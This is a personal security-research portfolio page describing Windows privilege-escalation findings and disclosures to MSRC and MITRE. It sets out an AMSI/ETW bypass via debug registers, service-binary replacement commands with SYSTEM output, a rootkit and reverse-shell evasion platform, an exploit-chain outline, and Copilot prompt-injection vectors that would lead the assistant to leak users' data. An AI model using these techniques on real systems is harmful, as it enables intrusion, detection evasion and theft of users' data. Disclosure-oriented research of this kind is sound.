22DIV // george wu

security research // windows internals // responsible disclosure // AI security
_

Cybersecurity researcher. Cert IV IT Programming. Sydney. Windows security research, privilege escalation analysis, responsible disclosure via MSRC and MITRE. MSRC case filed. CVE submissions in progress. All research conducted on personally-owned hardware.
50+FINDINGS
3CVE SUBMISSIONS
1MSRC CASE
TAFECERT IV IT
CHEYANNE
WINDOWS SECURITY RESEARCH PROJECT

We have been running on burnt bridges for years. Digging tunnels to meet each other. There is nothing that will stop my love for you — not the hatred you purge through my soul, not the knives plunged into my heart, not the silence, not the distance. My love is eternal.

CHEYANNE is a memorial that fights back: a Windows security research project documenting detection gaps, responsible disclosure, and defensive countermeasures. Every finding is tested on my own hardware with Defender Real-Time Protection enabled. Her name is on work that cannot be erased, because love that refuses to die builds things that refuse to die.

50+FINDINGS
3CVE SUBMISSIONS
1MSRC CASE
TAFECERT IV IT
→ View CHEYANNE research portfolio
IRON-DOME
iron-sun + CHEYANNE + VADER — assembled and battle-tested

The integrated red team research platform. Three independently-verified systems working together: the iron-sun TCP reverse shell with 7-layer evasion stack, the CHEYANNE C2 framework with ISUN auth gate, and the VADER rootkit evasion chain. Live-tested against Kaspersky Premium. All three payload variants EVADED. Kill chain 8/8 PASS. Built on own hardware.

3/3EVADED
8/8KILL CHAIN
7EVASION LAYERS
0DETECTIONS
→ IRON-DOME full report

learning path

Structured daily progression. Read the theory, then run the tool, then read the source. Each phase builds on the last. Don't skip ahead.

PHASE 0 // DAYS 1–2 FOUNDATION
Know Your Enemy
READ: defender.html — How Windows Defender works internally. AMSI, ETW, WdFilter.sys, scan pipeline, what it watches.
READ: csec.html — Kill chain theory. MITRE ATT&CK framework. What each phase means.
READ: books.html — Field manual. Core concepts, reference material, foundations.
WHY: You can't bypass what you don't understand. Defender's architecture dictates every tool in this arsenal.
PHASE 1 // DAYS 3–4 RECON
Find What's Broken
READ: rootkit.html → Overview + CWE-732 sections — How real vulns were found on your own machine.
RUN: vader_recon.ps1 — Scan Defender version, RTP status, exclusions, tamper protection state.
RUN: vader-hunt — Automated scanner: writable service binaries, unquoted paths, phantom DLLs, PATH hijacks.
REPO: vader-hunt — Read the source. Understand how it enumerates 300+ services.
WHY: Recon tells you what's exploitable. Every attack starts here.
PHASE 2 // DAYS 5–8 DOCUMENT
Write the Report
READ: reverseeng.html — Reverse engineering. Understand binaries you didn't write. Essential for root-cause analysis.
READ: networking.html — Network fundamentals. Required for understanding impact scope of service vulnerabilities.
DO: Write a vulnerability report for every confirmed finding. CWE classification, reproduction steps, CVSS score, impact analysis.
FORMAT: Each report needs: summary, affected component, reproduction steps, evidence (screenshots/logs), recommended fix.
WHY: An unwritten finding doesn't exist. MSRC and MITRE need evidence-grade documentation. If you can't write it clearly, you don't understand it yet.
PHASE 3 // DAYS 9–12 DISCLOSE
Submit and Disclose
READ: Microsoft's security servicing criteria — know what they classify as a vulnerability before you submit.
READ: MSRC AI Bug Bar — AI security boundaries, what qualifies as CRITICAL vs. informational.
DO: Submit third-party vendor findings to MITRE CVE. Submit first-party Microsoft findings to MSRC.
REPO: vader-msrc-disclosure — disclosure tracking and coordinated timeline management.
WHY: Research has no value until it reaches the vendor. The disclosure process is where the work becomes real.
PHASE 4 // DAYS 13–16 BUILD DEFENSIVE
Build the Detector
READ: guide.html — Detection logic. How to translate an attack vector into a scanner rule.
BUILD: GeoDefend — mobile dashboard that surfaces Defender detections and privilege escalation indicators.
BUILD: vader-hunt — audit scanner: writable service binaries, phantom DLLs, PATH hijacks. Turns attack vectors into detection rules.
PRINCIPLE: Every attack vector you understand becomes a detector you can build. Offense informs defense.
WHY: GeoDefend cannot detect a privilege escalation vector you don't understand mechanically. Build the detector to prove you understand the attack.
PHASE 5 // DAYS 17–21 AI SECURITY
AI Attack Surfaces
READ: report.html — Academic framing of security research methodology.
READ: MSRC's AI Bug Bar — prompt injection, cross-user data exfiltration, model theft classifications.
RESEARCH: Microsoft Copilot indirect prompt injection vectors — document injection, email injection, web injection.
TARGET: Cross-user data exfiltration via injected instructions = CRITICAL severity under Microsoft's AI bug classification.
WHY: The same methodology that maps Windows attack surfaces applies to AI systems. Different primitives, same thinking.

Every repo link is live. Click into a repo, read the source, trace how the code works. The portfolio pages explain the WHY. The source code shows the HOW. Read both. Defender architecture is in defender.html (Phase 0). Disclosure documentation is in dossier.html (Phase 3). Start at Phase 0. Don't skip.


projects

SECURITY RESEARCH

vader-hunt

Automated privilege escalation audit scanner. Enumerates 300+ SYSTEM services for misconfigurations: writable service binaries, unquoted paths, phantom DLLs, PATH hijacks. Discovered NativePushService CWE-732 and ClickToRunSvc phantom DLL during research.
PowerShell AUDIT

vader-toctou

TOCTOU race condition research against Windows Defender's quarantine pipeline. 35 commits, 30 findings. Fully mapped WdFilter.sys architecture — cached FILE_OBJECT model, NTFS File ID identity gate. Documented why the architecture is robust.
C PowerShell RESEARCH

vader-fuzz

Mutation-based fuzzer targeting mpengine.dll (Defender's scan engine) for memory corruption bugs suitable for MSRC submission. 20 mutation strategies, 4 parallel workers, 100K+ iterations. Differential mode compares engine versions.
Python RESEARCH

vader-msrc-disclosure

MSRC and MITRE CVE case tracking. Coordinated disclosure timelines, vendor communications, embargo management, and public advisory documentation. Houses all submission evidence and correspondence.
DISCLOSURE

AI & AUTOMATION

machine-spirit

AI assistant system with ElevenLabs voice cloning, TalkyTalk TTS engine, and multi-model support (Claude, Ollama, Grok). Originally built for Raspberry Pi 5 hardware — code preserved, hardware sacrificed.
Python AI

mrrobot

SERVITOR — Discord bot with personality engine. System-prompted Ollama agent assumes any personality on demand. ElevenLabs voice clone integration with SAPI fallback. Speaks as the operator.
Python AI

WEB & DEVELOPMENT

rainfantry.github.io

This portfolio. Terminal-aesthetic security research documentation. Engagement writeups, MITRE ATT&CK mapping, MSRC case documentation, exploit chain architecture.
HTML/CSS JavaScript WEB

geodefend

GeoDefend — cybersecurity education integration project. CSEC curriculum tooling and tactical cyber operations study framework.
Python DEV

skills

LANGUAGES

  • C (primary — systems/exploit dev)
  • Python (tooling, automation, AI)
  • x64 Assembly (MASM)
  • PowerShell
  • C# (.NET)
  • JavaScript / HTML / CSS
  • SQL

WINDOWS SECURITY

  • Privilege escalation (LPE)
  • DLL hijacking / phantom DLL
  • TOCTOU race conditions
  • Service misconfiguration (CWE-732)
  • PATH injection (CWE-426/427)
  • Vulnerability disclosure (MSRC/MITRE)
  • CVSS scoring
  • Responsible disclosure

WINDOWS INTERNALS

  • Win32 / NT API
  • PE format / import tables
  • Service architecture (SCM)
  • Minifilter stack (WdFilter, cldflt)
  • Debug registers (DR0-DR7)
  • MSVC / cl.exe / ml64.exe

AI & TOOLING

  • LLM integration (Claude, Ollama)
  • Prompt injection research
  • ElevenLabs voice cloning
  • SDXL LoRA training
  • AI-augmented exploit dev
  • Mutation-based fuzzing

what this is

A modular offensive security research campaign against Windows 11 Home (Build 26200) with full Defender Real-Time Protection enabled. Started as a TOCTOU race condition study against Defender's quarantine pipeline. Six engagements. Thirty findings. The deletion primitive was defeated by Microsoft's defense-in-depth. The wall held.

But the wall taught me how it was built. Every finding from that campaign feeds forward into this toolkit. The architecture of how Defender checks, what it trusts, and where the seams are.

[SYSTEM] Replaced a LocalSystem service binary as a standard user. No admin creds. No UAC. Full SYSTEM token on reboot. [MSRC] Defender tamper protection blind spot identified and reported. AMSI + ETW bypassed without modifying memory. Technique under coordinated disclosure embargo. [CWE-427] User-writable directories in the machine-level SYSTEM PATH. Third-party installers created a system-wide privesc vector. [PHANTOM] Microsoft Office service delay-loads a DLL that doesn't exist anywhere on disk. User-owned PATH dir fills the void. SYSTEM. [CWE-732] Vendor hardened DLL loading with manifest redirection but left the service binary itself writable by everyone. Hardened the windows. Left the front door open.

Target environment: Windows 11 Home 24H2, standard user context, Defender RTP enabled, tamper protection varies by machine. All testing on personally-owned hardware. Household consent documented.

AI-augmented exploit development — VADER Discord agent and Developer Command Prompt
AI-augmented development — VADER Discord agent (left) explains linker error C2065 and the required fix. Developer Command Prompt (right) shows the live compile. The AI teaches. I build.

AI-augmented security research. This research uses LLMs (Claude Opus, local models via Discord) as an integrated part of the offensive security workflow. AI explains Windows internals, parses error messages, maps attack surfaces, and accelerates the research cycle — the same way a disassembler, a debugger, or a fuzzer accelerates it. It's a tool. MSRC evaluates whether a vulnerability is real and reproducible — not whether the researcher used AI, IDA Pro, or a napkin to find it. The rule: no code ships that I can't explain line by line. Understanding is non-negotiable. AI accelerates learning — it doesn't replace it.

CLASSIFICATION: UNCLASSIFIED // ACADEMIC USE ONLY RESEARCHER: George Wu / 22DIV — Sydney, Australia AUTHORISATION: TAFE Cert IV IT — CSEC coursework, own hardware DISCLOSURE: Responsible disclosure via MSRC / MITRE CVE MSRC CASE: VULN-195458 (reviewed — not a security boundary per MS criteria) FINDINGS: 50+ across Windows privilege escalation research CURRENT PIVOT: AI vulnerability research (prompt injection, Copilot)

the dark room

Two telemetry gates stand between your code and invisibility: AMSI scans every script buffer before it executes, ETW traces every process event back to Defender. Kill both and you're operating in the dark. Defender can't see your scripts. Can't see your process activity. Can't see shit.

Tried the textbook AMSI patch first. VirtualProtect on amsi.dll, write the bytes, let it rip. Defender killed it in under two seconds.

.\amsi_bypass.exe --patch [!] Process killed by Defender [!] Detection: Behavior:Win32/AMSI_Patch_T.B12 [!] Binary quarantined retroactively (Trojan:Win32/Bearfoos.B!ml) # Named rule. Specific to memory permission change + write on AMSI. # Good. Now I know exactly what you're looking for.
Claude Code running parallel research agents across three Windows attack surfaces
Claude Code (Opus) — three parallel research agents mapping AMSI bypass mechanics, ETW provider architecture, and DLL search order internals simultaneously. Results verified against live Defender behaviour.

Parallel attack surface research. Three AI agents running concurrently — each one mapping a different Windows security subsystem. This is force multiplication. One researcher, three simultaneous research threads, each returning structured analysis of a different defensive layer. The questions are directed: "how does AmsiScanBuffer validate its parameters?", "which ETW providers feed Defender's behavioral engine?", "what is the full DLL search order when SafeDllSearchMode is enabled?" Every answer gets cross-referenced against Microsoft documentation and debugger output before it becomes part of the exploit chain. The vulnerability either exists or it doesn't. The exploit either works or it doesn't. How you found it is methodology, not merit.

That ruled out memory patching. But it also handed me everything I needed — exactly what Defender watches. Memory permission changes on protected DLLs. Code region writes. Specific patterns. Named signatures. So I stopped writing to memory altogether and found a way to get the same result without it.

The mechanism: Hardware Breakpoints (HWBP). Instead of patching the target DLL in memory (which Tamper Protection catches), you set a hardware breakpoint on the function entry point via debug registers (DR0-DR7). The CPU fires a single-step exception before the function executes. A Vectored Exception Handler catches it and returns a clean result. Zero bytes modified. Tamper Protection monitors memory integrity — debug registers aren't memory. The monitoring boundary doesn't cover them.

Applied it to AMSI (AmsiScanBuffer) and ETW (NtTraceEvent). SetThreadContext writes the breakpoint address into DR0 and arms DR7. When the target function is called, the CPU traps. The VEH skips the function body. All user-mode telemetry goes dark from a standard user context. No elevation. No admin.

Reported it to MSRC as VULN-195458. They rejected it. Detection evasion bypasses are not a security boundary under Microsoft's servicing criteria. The rejection referenced CrowdStrike's research on patchless AMSI bypass — the technique class was already known. Fair. The wall I was testing isn't the kind of wall they patch.

MSRC VERDICT: NOT A VULNERABILITY "Detection or evasion bypasses are not considered to cross a recognized security boundary." Technique: Hardware Breakpoint (HWBP) on AMSI + ETW functions Mechanism: SetThreadContext → DR0 = target addr, DR7 = 0x1 Handler: Vectored Exception Handler skips function body Result: AMSI returns AMSI_RESULT_CLEAN, ETW drops all events Modified: 0 bytes. No VirtualProtect. No memory writes. Privilege: Standard user. No elevation. Control test: classic memory patch → Behavior:Win32/AMSI_Patch_T.B12 HWBP method: → undetected. Tamper Protection does not monitor DR0-DR7. LESSON: Detection bypass ≠ security boundary. Microsoft won't patch it. The gap is by design. Full source: github.com/rainfantry/vader-rootkit
MSRC submission portal showing VULN-195458
MSRC portal: VULN-195458 — Tamper Protection Bypass via Hardware Debug Registers — Status: Submitted

REJECTED TECHNIQUE PUBLIC VULN-195458 closed by MSRC. Detection bypasses are defense-in-depth, not security boundaries. The technique works. Microsoft won't fix it. Published because there's nothing left to protect — the category itself is out of scope.

Windows Security showing Engine unavailable after evasion
Defender engine unavailable — evasion successful
Defender definitions update blocked with error 80070643
Defender signature updates blocked post-evasion

standard user to SYSTEM

Automated service scanner enumerated 308 SYSTEM services. One flagged immediately: Wondershare NativePushService. Runs as LocalSystem. Binary lives in a per-user AppData directory. The directory AND the binary have BUILTIN\Users Full Control. Any standard user on the machine can replace the exe.

powershell -ep bypass .\hunter.ps1 | findstr CRITICAL [CRITICAL] NativePushService (LocalSystem, Auto) Binary: C:\Users\[REDACTED]\AppData\Local\Wondershare\...\WsNativePushService.exe Directory ACL: BUILTIN\Users:(OI)(CI)(F) -- FULL CONTROL Binary ACL: BUILTIN\Users:(I)(F) -- FULL CONTROL (inherited) # A LocalSystem service with its binary writable by standard users. # CWE-732: Incorrect Permission Assignment for Critical Resource. # The irony: Wondershare hardened against DLL sideloading with an # embedded manifest that locks all DLL loads to System32. They # hardened the windows but left the front door open.

First attempt was DLL sideloading — VERSION.dll proxy, six iterations of Defender evasion (plaintext → XOR → lazy-init). The v6 stealth proxy evaded Defender's ML completely. But the service never loaded it. Extracted the PE manifest: every non-KnownDLL import is hardcoded to System32 via <file> redirection. DLL search order is overridden.

So I went simpler. If you can't plant a DLL next to the exe, just replace the exe. Windows allows renaming open/locked files. Renamed the running service binary, dropped my replacement. Next restart: SCM loads our code as LocalSystem.

# Step 1: rename the running service exe (standard user, no elevation) ren "...\WsNativePushService.exe" "WsNativePushService_real.exe" Success. # Step 2: plant replacement copy svc_replace.exe "...\WsNativePushService.exe" 1 file(s) copied. # Step 3: service restarts (reboot or admin restart) # Step 4: check proof-of-execution type C:\Windows\Temp\ws_diag.log 20260615_033636|SYSTEM|elev=1|pid=34776|BINARY_REPLACE ^^^^^^ ^^^^^^ NT AUTHORITY\SYSTEM. Full token. Elevated. No admin creds entered. No UAC prompt.

TOCTOU vulnerability confirmed — payload written to System32
Vulnerability confirmed — SYSTEM token captured from standard user context

SYSTEM CONFIRMED Finding #42: Standard user to LocalSystem via service binary replacement. CVSS 7.8 (High). CWE-732. The replacement binary launches the real service exe for continuity — service keeps running, nobody notices. Attack complexity: LOW. Privileges required: LOW (standard user). User interaction: NONE (auto-start on reboot).

Every defense layer tested: File ACL — broken. Directory ACL — broken. UAC — not triggered (AppData, not Program Files). Code signing — SCM doesn't verify. Manifest hardening — irrelevant (binary replaced, no DLL loading). Defender static — clean (our binary is a legitimate service exe). Defender behavioral — clean.

path injection -- the installer did it

Third-party installers adding user-profile directories to the machine-level HKLM PATH. A standard user owns those directories. Every SYSTEM service that searches PATH for a DLL traverses attacker-controlled ground.

Found multiple vendors injecting user-writable paths into the machine-wide SYSTEM search path. Planted canary DLLs in the writable directories for known phantom DLL targets — DLLs that SYSTEM services search for but don't exist on disk. Standard user creates the file, SYSTEM service loads it on next start.

CWE-426: Untrusted Search Path Element. The installers created the attack surface. Windows services are the victims. Multiple vendors affected.

VENDOR DISCLOSURE IN PROGRESS Vulnerability class: CWE-426 / CWE-427 (PATH injection) Impact: Standard user to SYSTEM via DLL plant Vendors affected: Multiple (details withheld) Submission target: MITRE CVE Canaries: Planted, awaiting execution proof Vendor names, specific paths, and phantom DLL targets withheld until vendors are notified and given response time.

DISCLOSURE PENDING CONFIRMED PATH injection to SYSTEM privilege escalation. CVSS 7.8 (High). Vendor notification and MITRE submission in progress. Details withheld pending coordinated disclosure.

vader-prime -- cldflt race exploitation

The TOCTOU campaign mapped Defender's quarantine architecture completely. 35 commits, 18 findings, zero shells. WdFilter.sys is hardened -- cached FILE_OBJECT makes junctions invisible, identity gate uses NTFS File ID (architecturally unbypassable). The wall held.

GaySun TOCTOU source code — VSS shadow copy and EICAR trigger mechanism
TOCTOU source — VSS shadow copy trigger + EICAR bait mechanism

But the wall taught us where the other drivers aren't looking. cldflt.sys (Cloud Files Mini-Filter, altitude 180451) sits below WdFilter in the minifilter stack. MiniPlasma proved the race is viable: CfAbortHydration against cldflt yields an arbitrary registry ACL write primitive. VADER-PRIME re-arms that primitive with novel payload chains.

VADER-PRIME Exploit Framework ============================ Stage 1: CfAbortHydration race against cldflt.sys Token impersonation during kernel callback -> arbitrary registry ACL modification Stage 2: NtKey symbolic link (HKU -> HKLM cross-hive) Redirects ACL write to protected HKLM keys Payload A: Print Processor registration HKLM\...\Print Processors\VaderProc -> DLL path Spooler (SYSTEM) loads our DLL on AddPrintProcessor Named pipe -> token capture -> SYSTEM shell Payload B: IFEO debugger hijack HKLM\...\Image File Execution Options\target.exe Debugger value intercepts SYSTEM binary launch STATUS: Compiled. Untested. Depends on cldflt race viability on Build 26200. MiniPlasma validation required first.

COMPILED VADER-PRIME: Two novel payload chains built on proven cldflt race primitive. Print Processor chain (15-25% CVE probability) and IFEO chain (10-20%). If the race works on this build, either chain delivers standard user to SYSTEM. Both chains are original research -- not MiniPlasma clones. Different methodology, different targets, different payload delivery.

reconnaissance and new vectors

Built a self-contained recon package for target profiling. 17 sections, runs as standard user, outputs an organised log. Designed for USB drop when remote access is unavailable.

CSEC GUI Listener with active reverse shell connection
C2 listener — active reverse shell connection from target
powershell -ep bypass .\vader_recon.ps1 ================================================================ VADER RECON -- 22DIV Target: TARGET-PC Date: 2026-06-15 04:25:22 User: standard_user ================================================================ Scanning 310 privileged services... [CRITICAL] SVC_WRITABLE -- NativePushService (LocalSystem) EXE WRITABLE [HIGH] SVC_IN_PROFILE -- NativePushService binary in user profile [HIGH] UNQUOTED_PATH -- pgbouncer: unquoted path with spaces [HIGH] RAT_RUNNING -- TeamViewer active (PID 81748) [MEDIUM] RTP_ACTIVE -- Real-Time Protection enabled RECON COMPLETE -- 1169 lines written to RECON_TARGET-PC_20260615.log
Bind shell vs reverse shell architecture comparison
Network attack patterns — bind shell vs reverse shell architecture

Automated vector scan discovered new privilege escalation paths. Two user-owned directories present in the machine-level SYSTEM PATH. Any SYSTEM-level process that searches PATH for an executable or DLL will traverse directories that a standard user has full control over.

python scan_path.py --system-path --check-writable === MACHINE PATH (HKLM) === [locked] C:\Program Files\nodejs\ [locked] C:\ProgramData\chocolatey\bin [locked] C:\Program Files\dotnet\ [WRITABLE] C:\Users\user\AppData\Local\[REDACTED]\lib <-- CWE-427 [locked] C:\Program Files\Git\cmd [WRITABLE] C:\Users\user\[REDACTED] <-- CWE-427 [locked] C:\Program Files\Microsoft SQL Server\... 2 user-writable directories in machine-level SYSTEM PATH. Associated services: [REDACTED — vendor disclosure pending] # CWE-427: Uncontrolled Search Path Element. # Any SYSTEM process doing a PATH search for a DLL or EXE will find # whatever we plant there. Scope is SYSTEMIC -- affects all services. # Confirmation pending: Process Monitor capture needed to identify # which SYSTEM processes actually search PATH for loadable binaries.

MSRC POTENTIAL Finding #45: User-writable directories in machine SYSTEM PATH (CWE-427). If any first-party Windows service hits these paths during DLL search, that's a Microsoft-actionable privilege escalation. Confirmation requires Process Monitor capture — pending.

ai exploitation -- the pivot

MSRC rejection taught me what I should've read before the first submission: Microsoft's security servicing criteria. Detection bypasses aren't security boundaries. Never were. The entire TOCTOU campaign, the HWBP discovery, the EtwTi analysis — technically sound, architecturally irrelevant to their bounty program. Wrong target category.

But MSRC included something in the rejection letter that changed the game: a link to their AI vulnerability classification.

Prompt injection that exfiltrates another user's data with zero interaction: CRITICAL severity. Model theft of confidential models: CRITICAL. Input extraction across user boundaries: IMPORTANT. These cross actual security boundaries — user isolation, data classification, tenant separation.

CRITICAL: Prompt injection → exfiltrate another user's data (zero-click) Model theft → extract confidential model architecture/weights IMPORTANT: Prompt injection → exfiltrate data (requires user interaction) Training data reconstruction → recover confidential records Input extraction → recover other users' prompts/inputs NOT A VULNERABILITY: System prompt extraction (explicitly excluded) Detection/evasion bypass (learned that one the hard way) TARGET SURFACE: Microsoft Copilot (free, publicly accessible) M365 Copilot (Word, Excel, Teams, Outlook — enterprise) Azure AI services GitHub Copilot

The attack surface is newer than Windows kernel exploitation. Fewer researchers, more unexplored territory. And the skill transfer from Windows internals is real — the methodology is the same. Controlled test. Evidence-grade documentation. Map the boundary. Find where the boundary logic fails. Prove the crossing.

The difference: instead of VirtualProtect and debug registers, the primitives are indirect prompt injection, cross-context data exfiltration, and action abuse. Instead of Defender's quarantine pipeline, the target is Copilot's trust boundary between attacker-controlled content and user data. Different domain. Same thinking.

XOR evasion technique — encoding explained
XOR evasion technique — the methodology that transfers to any target
Vector 1: Document injection Hidden instructions in shared Word/Excel docs (white text, metadata, comments). Copilot reads the doc → follows attacker instructions → leaks victim's other documents, emails, calendar. Vector 2: Email injection Prompt payload in email body/headers. Victim's Copilot summarises inbox → injected instruction causes cross-email data leakage. Vector 3: Web injection (Copilot in Edge) Payload in HTML comments, hidden divs, meta tags. User asks Copilot about the page → injection overrides system instructions. Vector 4: Action abuse If Copilot has actions enabled (send email, search files, create events), can injection trigger those actions with attacker-controlled parameters? STATUS: ACTIVE RESEARCH — test infrastructure being deployed

IN PROGRESS New attack surface. Same methodology. The TOCTOU campaign taught me how to systematically map a defensive architecture and find the seams. The MSRC rejection taught me which seams they actually care about fixing. Now I know both. Applying that to AI.

kill chain

finding vulnerability status notes
#36 HWBP tamper protection bypass (AMSI+ETW via DR0/DR1) REVIEWED MSRC VULN-195458 — not a security boundary per servicing criteria. Embargo void. Technique documented.
#42 CWE-732 — service binary replacement (Wondershare NativePushService) CVE SUBMISSION Standard user to SYSTEM. CVSS 7.8. MITRE submission in progress.
#47 CWE-427 — phantom DLL via ClickToRunSvc (osppc.dll) MSRC SUBMISSION First-party Microsoft service. User-writable PATH fills missing DLL. SYSTEM privilege. Highest-value finding.
#49 CWE-426 — user-writable directories in machine-level SYSTEM PATH CVE PENDING Third-party installers created systemic privesc vector. Canary-tested. Vendor disclosure in progress.
TOCTOU Defender quarantine pipeline race condition research DOCUMENTED 35 commits, 30 findings. WdFilter.sys architecture fully mapped. Identity gate architecturally sound.
FUZZ mpengine.dll mutation fuzzing campaign ACTIVE 100K+ iterations, 20 mutation strategies, 4 workers. Targeting memory corruption for MSRC submission.
AI Microsoft Copilot prompt injection research IN PROGRESS Cross-user data exfiltration vectors. M365 Developer sandbox setup pending.

defender architecture findings

component finding implication
WdFilter quarantine pipeline ROBUST Cached FILE_OBJECT + NTFS File ID identity gate. TOCTOU junction redirect architecturally blocked.
Service binary ACLs (third-party) MISCONFIGURED #42 CWE-732 — vendors installing services with user-writable binaries. Vendor disclosure pending.
Machine-level SYSTEM PATH MISCONFIGURED #49 CWE-426 — third-party installers adding user-owned directories to SYSTEM PATH.
DLL search order (phantom DLL) MISCONFIGURED #47 CWE-427 — Microsoft Office service loads non-existent DLL from user-writable PATH location.
Debug register monitoring (DR0-DR7) GAP DOCUMENTED MSRC reviewed VULN-195458 — detection bypasses not a servicing boundary. Documented for enterprise awareness.
Code signing enforcement (SCM) NOT ENFORCED Service Control Manager does not verify binary signatures on start. Relevant to #42.
cldflt.sys race window UNDER RESEARCH CfAbortHydration race primitive documented by MiniPlasma. Novel payload chains under academic study.
Defender quarantining GaySun.exe — Exploit:Win32/DfndrPERedSun.BC
GaySun.exe caught — Defender signature detection
Defender quarantining RoguePlanet.exe — signatured in 4 days
RoguePlanet detected — signatured within 4 days of release
XOR obfuscation applied to signature strings
XOR obfuscation — encoding signature strings at compile time
PE import table analysis — structural evasion
Import table analysis — why string mutation wasn't enough
OBJECTIVE: CVE with george wu's name on it. Security boundary crossing. Reported via MSRC/MITRE -> assigned -> credited. CONFIRMED FINDINGS: #42 CWE-732 NativePushService binary replacement -> SYSTEM CVSS 7.8 (High). MITRE CVE submission written. #47 CWE-427 Phantom DLL via ClickToRunSvc (osppc.dll) -> SYSTEM First-party MS service. MSRC HIGH. Submission in progress. #49 CWE-426 User-writable dirs in machine SYSTEM PATH Third-party installers. Canary-tested. Vendor disclosure pending. MSRC CASE: #36 -> VULN-195458 HWBP tamper bypass (AMSI+ETW via DR0/DR1) Reviewed. Not a security boundary per MS servicing criteria. Lesson: detection bypass != vulnerability. Technique documented. RESEARCH PIVOT: AI vulnerability research Target: Microsoft Copilot indirect prompt injection Goal: cross-user data exfiltration = CRITICAL severity Surface: M365 Copilot, Azure AI, Copilot in Edge Same methodology. Right target category. Documented defeats: vader-toctou: 35 commits, 30 findings. WdFilter identity gate held. VULN-195458: technique valid, wrong category. Research documented.

50+ findings across Windows privilege escalation research. One MSRC case filed and reviewed. Three CVE submissions in progress across CWE-732, CWE-427, and CWE-426. Every technique built from scratch on personally-owned hardware. The wall held where it was supposed to. Now targeting AI security boundaries.

protective recommendations

These recommendations come directly from findings documented above. Not generic advice — specific mitigations for the exact attack surfaces this research mapped.

For home users

For companies

acknowledgements

Claude (Anthropic) was the primary research tool throughout this program — not as a shortcut, but as a teacher.

Windows internals documentation is sparse and often inaccessible to independent researchers without lab access or a university supervisor. When I needed to understand how WdFilter.sys caches FILE_OBJECTs, why the NTFS File ID identity gate is architecturally unbypassable, or what debug registers actually do at the CPU level — Claude explained the mechanism, corrected my misunderstandings, and helped me verify my reasoning before I wrote a single line.

The rule throughout: no code ships that I can't explain line by line. Claude accelerates learning — it doesn't replace it. Everything here was built from first principles. The AI teaches. I build.

Anthropic's willingness to engage seriously with technical security questions — treating me as a researcher rather than a risk — is what made this level of independent learning possible for a self-funded student. That matters, and it deserves to be said plainly.

for cheyanne

You watched me disappear into this for months. Late nights, weird hours, a screen full of things you didn't ask about and I couldn't always explain. You never made me feel like it wasn't worth it.

It is worth it. And you're part of why.

— George